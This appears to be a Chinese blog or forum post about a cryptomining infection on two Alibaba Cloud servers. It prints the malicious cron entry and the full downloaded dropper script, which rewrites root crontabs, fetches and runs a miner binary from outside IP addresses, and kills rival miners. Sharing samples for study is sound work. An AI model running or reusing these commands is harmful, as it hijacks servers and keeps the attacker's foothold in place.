最近有兩臺阿里雲伺服器中了挖礦病毒，CPU佔用率一直百分百。本帖就不詳細說明如何清除了，網上很多資源。由於好奇，我把該病毒的定時指令碼給下載下來，大家可以學習一下。

中了招的主機，在計劃任務中都有這麼一段：

*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh

意思是下載i.sh指令碼並重定向到sh去執行。於是我就下載該指令碼，並把原文先貼出來供大家批判性學習：

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "" > /var/spool/cron/root

echo "*/15 * * * * wget -q -O- http://13.113.240.221:8000/i.sh | sh" >> /var/spool/cron/root

mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/crontabs/root

echo "*/15 * * * * wget -q -O- http://13.113.240.221:8000/i.sh | sh" >> /var/spool/cron/crontabs/root

ps auxf | grep -v grep | grep /tmp/ddgs.3014 || rm -rf /tmp/ddgs.3014
if [ ! -f "/tmp/ddgs.3014" ]; then
    wget -q http://13.113.240.221:8000/static/3014/ddgs.$(uname -m) -O /tmp/ddgs.3014

fi
chmod +x /tmp/ddgs.3014 && /tmp/ddgs.3014

ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
 

這個指令碼挺簡單的，我看了沒什麼問題。各位看官如果有什麼以為，可以留言討論哈。
